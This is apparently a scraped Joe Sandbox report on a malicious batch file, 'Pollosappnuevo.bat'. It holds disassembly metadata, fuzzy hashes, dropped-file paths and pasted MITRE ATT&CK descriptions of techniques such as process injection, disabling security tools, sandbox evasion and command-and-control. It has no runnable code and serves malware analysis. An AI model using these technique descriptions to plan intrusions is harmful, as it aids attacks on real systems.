Opcode ID: 64512db3d03c2e64250f0527e4973935a6f50c0e8de340a78d05c5d7239ddcf0
Instruction ID: fb85bb78a4fff46372a9ddb275d3875d08bff245c5c2d1070d2c6bebe9a56f46
Opcode Fuzzy Hash: 64512db3d03c2e64250f0527e4973935a6f50c0e8de340a78d05c5d7239ddcf0
Instruction Fuzzy Hash: 3B71D17190CA488FD759DB6CD85A7B97BE1FB69350F04426EE04DD7292DE38A8028B81

Function 00007FF886C5D711 Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNELBASE ref: 00007FF886C5D7C5

Memory Dump Source

Source File: 00000018.00000002.2816969426.00007FF886C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C50000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 69fcb436a9df19dac27cf5822f08470487e3475ad9791ee55e213e3e08c27444
Instruction ID: 8115d3ab6c58c3d600f59c095164eaf50b3567dae551ddb27529af3b35afa710
Opcode Fuzzy Hash: 69fcb436a9df19dac27cf5822f08470487e3475ad9791ee55e213e3e08c27444
Instruction Fuzzy Hash: 49310431D0CA5C8FDB58DF98C8497E9BBE1FF65320F0441AAD449D7286DB34A842CB81

Function 00007FF886C5D810 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

SetConsoleMode.KERNELBASE ref: 00007FF886C5D8AA

Memory Dump Source

Source File: 00000018.00000002.2816969426.00007FF886C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C50000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 0d49c0d3479054a6e52038d79fcd017d12c0ae64fba686cd03b8288956adc33c
Instruction ID: ea9441089030bea8c76aabb2f8c21434ea2b559ffb7d8babbf1acbafe5d89ccc
Opcode Fuzzy Hash: 0d49c0d3479054a6e52038d79fcd017d12c0ae64fba686cd03b8288956adc33c
Instruction Fuzzy Hash: 7B31263190C7488FEB58DFA8C84A7F97BE0EF66320F04416FD049C7292DA74A815CB92

Function 00007FF886D215DD Relevance: .6, Instructions: 624COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2825142020.00007FF886D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e690895af9c3d569fbd9b41cd2beb8d940cd3810b66152c5e58db1d024604646
Instruction ID: 1f7a42f1480b3d9c11a05bd3bb77bd141acb76e853adb83ca24674a97ee1750f
Opcode Fuzzy Hash: e690895af9c3d569fbd9b41cd2beb8d940cd3810b66152c5e58db1d024604646
Instruction Fuzzy Hash: D412E221D0EBC55FE39697285C651B47FE1FF93250B4951FAC18ACB293D91DAC0AC382

Function 00007FF886D212F9 Relevance: .4, Instructions: 366COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2825142020.00007FF886D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e5c9b10b0f8ba53a05f8f2ec02d79f08b58d791aa2d7961a6b56826c0138a07
Instruction ID: 5a67270c6a6e8650226d8e2c4a7069c4e801e8316571a5e0f86e47ffead3370f
Opcode Fuzzy Hash: 9e5c9b10b0f8ba53a05f8f2ec02d79f08b58d791aa2d7961a6b56826c0138a07
Instruction Fuzzy Hash: 50A13631D0DA8D4FE766AB285C555B63BE1FF8A264B0401BED18EC7193ED19BC06C342

Function 00007FF886D217FD Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2825142020.00007FF886D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccb0703d5796d2f00c8ac07fe66ab10294416364240f1fa8c85d674f5f62b03e
Instruction ID: 212c83652e9e059f9abc282ac4d5c4db8ae9e1e10abf175cbea2578569cd1bc7
Opcode Fuzzy Hash: ccb0703d5796d2f00c8ac07fe66ab10294416364240f1fa8c85d674f5f62b03e
Instruction Fuzzy Hash: 01217C22E1DA992FF2A9562C2C55174A6C1FF507A078852BEC64EC33C7EC1D7C068182

Analysis Process: e45iasd.exePID: 4020, Parent PID: 3504COMMON

Executed Functions

Function 00007FF886C4D4F9 Relevance: 1.7, APIs: 1, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2814788622.00007FF886C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33b1f82a579181c059883eee4854640508a6bf2e4abbfb5e671e3b34f0609efc
Instruction ID: 7b1a64b87aef8abaf062669d4727bbc0f132d67b9c967877583bed58510d8a95
Opcode Fuzzy Hash: 33b1f82a579181c059883eee4854640508a6bf2e4abbfb5e671e3b34f0609efc
Instruction Fuzzy Hash: 7471E27190CA484FD759EF6CD85A6B97BE1FF59310F0442AEE04DD7292DE28A802C781

Function 00007FF886C445D0 Relevance: 1.7, APIs: 1, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2814788622.00007FF886C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d83b8e31bf8affafe1b8ba08b7a764b43ab07174d0e6d49f7eeb3d460c6dd87
Instruction ID: da87e96931b907ebd862cf37d9b967b1a7bd4875672c36783279ff97b9e1753f
Opcode Fuzzy Hash: 6d83b8e31bf8affafe1b8ba08b7a764b43ab07174d0e6d49f7eeb3d460c6dd87
Instruction Fuzzy Hash: 2241F331D0CA888FEB58DB58D8496B97BE1FF69350F14427FE04DD3192DA64AC02CB81

Function 00007FF886C4D711 Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNELBASE ref: 00007FF886C4D7C5

Memory Dump Source

Source File: 0000001A.00000002.2814788622.00007FF886C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C40000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 7bdf507ab36df0a450541e3cae3fac152e4ebd958f9997cb80750a3a281d05b5
Instruction ID: c3677b8e5ea8846ec4d37b96e114b857c818a761d6d8bc3da196a1a49027d894
Opcode Fuzzy Hash: 7bdf507ab36df0a450541e3cae3fac152e4ebd958f9997cb80750a3a281d05b5
Instruction Fuzzy Hash: D8312231D0CA588FDB58EFA8C8457E9BBE1EF56320F0441ABD449D7286DB34A842CB81

Function 00007FF886C4D810 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

SetConsoleMode.KERNELBASE ref: 00007FF886C4D8AA

Memory Dump Source

Source File: 0000001A.00000002.2814788622.00007FF886C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C40000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 5208208e5cbc2df1e38b3b272fef0764741845c0cca824584ea65d51356a9ab0
Instruction ID: 5422ded136a3beb2122e74f8c568e73b8518c2ebe189eed79df78962365b31de
Opcode Fuzzy Hash: 5208208e5cbc2df1e38b3b272fef0764741845c0cca824584ea65d51356a9ab0
Instruction Fuzzy Hash: A631263190C6488FEB58EFA8C8467F97BE1EF65320F04016FD049C7293DA74A815CB91

Function 00007FF886D115DD Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2823512220.00007FF886D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6b6019fcad318183b09a610a99861398ef70e761e6ded32dc550d23454ce89
Instruction ID: 75008ae54eb587b4b227201df589767bbf9dcfb12ab57a7429ca7f6c655b3cc1
Opcode Fuzzy Hash: bf6b6019fcad318183b09a610a99861398ef70e761e6ded32dc550d23454ce89
Instruction Fuzzy Hash: 4A12D421D0EBC65FE39697385C251B4BFE1FF522A0B4911FBD08ACB1A3D9599C06C392

Function 00007FF886D112F9 Relevance: .4, Instructions: 365COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2823512220.00007FF886D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1530cddeb6b8970adb887f87cd63efd40a8cba249e3776b2fa514be2a1c33df8
Instruction ID: 16beae967255f152f963be843e3b9e2b913cb279033b3b2af5c75910aa4b745e
Opcode Fuzzy Hash: 1530cddeb6b8970adb887f87cd63efd40a8cba249e3776b2fa514be2a1c33df8
Instruction Fuzzy Hash: 03A16731D1DB8D4FE796AB285C556B57BE1FF8A660B0401BFD04EC3093EA19AC06C342

Function 00007FF886D117FD Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2823512220.00007FF886D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886D10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c586707293b0beb77190ee2afce95704a258836af97a1ca7938a15a18990e8d
Instruction ID: 43ed79750584ac66ad990040337fe888d1398f749ac8c8e6b873db2a2c1e3286
Opcode Fuzzy Hash: 6c586707293b0beb77190ee2afce95704a258836af97a1ca7938a15a18990e8d
Instruction Fuzzy Hash: B9212C23E1DE9A1BF3A5526C2C15174A6C1FF917A0B9852BED44EC31C7EC59AC06C186

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.
Tactics:	Persistence
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Pollosappnuevo.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2dryndru.mth.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3qgw3tsq.zsu.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dmgv5gki.yix.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ekz4pmvr.jgv.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hfl5ywcd.ljd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hh3netow.d4g.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iw5pdmk0.w5r.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jgw4tasp.p24.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_la01u205.pfs.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nvri5h3p.fpq.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uuzvzant.zph.ps1

Windows Analysis Report
Pollosappnuevo.bat

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre